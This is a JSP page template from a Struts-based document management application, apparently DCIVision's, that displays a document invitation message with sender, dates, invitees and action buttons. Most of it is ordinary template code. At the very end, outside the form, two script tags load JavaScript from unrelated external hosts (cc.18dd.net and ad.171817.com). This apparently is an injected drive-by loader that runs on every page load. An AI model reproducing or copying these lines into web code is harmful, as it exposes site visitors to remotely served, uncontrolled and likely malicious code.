<%
/*
 * @(#)DocumentInvitation.jsp
 *
 * Copyright (c) 2006 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DocumentInvitation.jsp

  This class is reflecting business logic uses.

    @author           jim zhou
    @company          DCIVision Limited
    @creation date    2007-08-15 

*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.sql.Timestamp"%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@page import="com.dcivision.framework.Utility"%>
<%@page import="com.dcivision.framework.TextUtility"%>
<%@page import="com.dcivision.framework.GlobalConstant"%>
<%@page import="com.dcivision.user.bean.PersonalHomePreference"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="messageBean" scope="request" class="com.dcivision.alert.core.MessageInfoBean"/>
<jsp:useBean id="editMessageDetailForm" scope="request" class="com.dcivision.alert.web.EditMessageDetailForm"/>

<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">

<!-- Static Javascript End -->
<script src="<%= request.getContextPath() %>/js/scriptaculous/lib/prototype.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/scriptaculous.js" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/InviteePickerDWRFacade.js' type='text/javascript'></script>
<script src="<%= request.getContextPath() %>/js/inviteePicker.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/OldTree.jsp" language="Javascript" charset="UTF-8" type="text/javascript"></script>

<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/interface/DmsInvitationAjaxProcessor.js"></script>
<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/engine.js"></script>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentListDeleteFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentCheckoutFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<!--for refresh HomepageChannel-->
<script type='text/javascript' src='<%= request.getContextPath() %>/js/alert.js'></script>


<html:form enctype="multipart/form-data" action="EditMessageDetail" onsubmit="return(false)" styleClass="form-style-2">

<jsp:include page="/js/alert.jsp" flush="true"/>
<!--end-->
<script language="javascript">
function setUnRead()
{
 setUnReadAjAX(document.editMessageDetailForm);
}
function defer(){
 var i=0;
 for(i=0;i<10000;i++){
  document.editMessageDetailForm.unRead.value="yes";
 }
}
function hideBlock(b) {
    document.getElementById(b).style.display = "none";
  }

  function showBlock(b) {
  document.getElementById(b).style.display = "block";
  }
  
function reloadParent() {
document.editMessageDetailForm.messageType.value = "documentInvitation";
<%if(!Utility.isEmpty((String)request.getAttribute("isList"))){%>
if(window.opener){
	if(window.opener.listMessageForm){
		window.opener.listMessageForm.submit();
	}else{
	window.opener.document.location.href = "ListSystemMessage.do";
	}
}
<%}%>
}

window.onbeforeunload = function(event){
  try{
   window.opener.hideDim();
  }catch(e){
  }
}
</script>

</head>


<input type="hidden" name="messageType" value="documentInvitation"/>
<input type="hidden" name="unRead" value="yes"/>
<input type="hidden" name="systemLogID" value="<bean:write name="messageBean" scope="request" property="systemLogID"/>"/>
<input type="hidden" name="updateAlertID" value="<bean:write name="messageBean" scope="request" property="updateAlertID"/>"/>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    </div>
</div>

<div class="generalContainer">
	<div class="wrapperContainer-clearfix">
<table width="100%" cellpadding="20" cellspacing="0" border="0">
  <tr>
    <td>
<!-- System And Error Messages Begin -->
    <%try{%>
      <table width="100%" border="0">
        <tr> 
          <td colspan="5" align="left" >
            <strong><bean:write name="messageBean" scope="request" property="subject"/></strong>
          </td>
        </tr>
        <tr>
          <td colspan="5"><hr /></td>
        </tr>
        <tr>
          <td class="formLabelSmall"><bean:message key='home.message.meeting.sender'/>:</td>
          <td class="formFieldSmall"><bean:write name="messageBean" scope="request" property="sender"/></td>
          <td class="formLabelSmall"><bean:message key='home.message.meeting.arrival_date'/>:</td>
          <td class="formFieldSmall"><bean:write name="messageBean" scope="request" property="arrivalDate" format="<%=TextUtility.getDateTimeFormat().toPattern()%>"/></td>
          <td></td>
        </tr>
        <tr> 
          <td class="formLabelSmall"><bean:message key='log.columnheader.event_message'/>:</td>
          <td colspan="4" class="formFieldSmall"><bean:write name="messageBean" scope="request" property="message"/></td>
        </tr>
        <logic:equal name ="messageBean" property="canShowSentDate" value="true">
          <tr> 
            <td class="formLabelSmall"><bean:message key='message.document.invitation.send_date'/>:</td>
            <td colspan="4" class="formFieldSmall"><bean:write name="messageBean" scope="request" property="sendDate" format="<%=TextUtility.getDateTimeFormat().toPattern()%>"/>
            </td>
          </tr>
        </logic:equal>
        <tr> 
          <td class="formLabelSmall"><bean:message key='message.document.invitation.due_date'/>:</td>
          <td colspan="4" class="formFieldSmall"><bean:write name="messageBean" scope="request" property="dueDate" format="<%=TextUtility.getDateFormat().toPattern()%>"/></td>
        </tr>
        <tr>
          <td class="formLabelSmall"><bean:message key='home.message.meeting.invitee'/>:</td>
          <td colspan="4" class="formFieldSmall"><!--invitee picker  -->
            <%try{%>
             <html:inviteePicker name="inviteeShare" propertyUser="userList" propertyGroup="groupList" propertyRole="roleList" valueUser='<%=messageBean.getUserIDList()%>' valueGroup='<%=messageBean.getGroupIDList()%>' valueRole='<%=messageBean.getRoleIDList()%>' width="500" height="25"/>
             <%}catch(Exception e){}%>
          </td>
        </tr>
        <tr>
          <%try{%>
          <td colspan="5">
            <jsp:include flush="true" page="IncludeDocumentInfo.jsp"/>
          </td>
          <%}catch(Exception e){}%>
        </tr>
      </table>
    </td>
  </tr>
</table> 
	  <logic:notEqual name ="isFromEmail" value="yes">
	  <div id="bottomButtonArea">
      <div id="buttonSection">
        <html:standardButton label="home.message.meeting.keep_unread" onClick="return setUnRead();"/>
        <html:standardButton label="workflow.applet.close" onClick="javascript:opClose();"/>
      </div>
    </div>
</logic:notEqual>
  <%}catch(Exception e){}%>

</div>
</div>

<div class="listStatusBar">
</div>

</html:form>
	
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>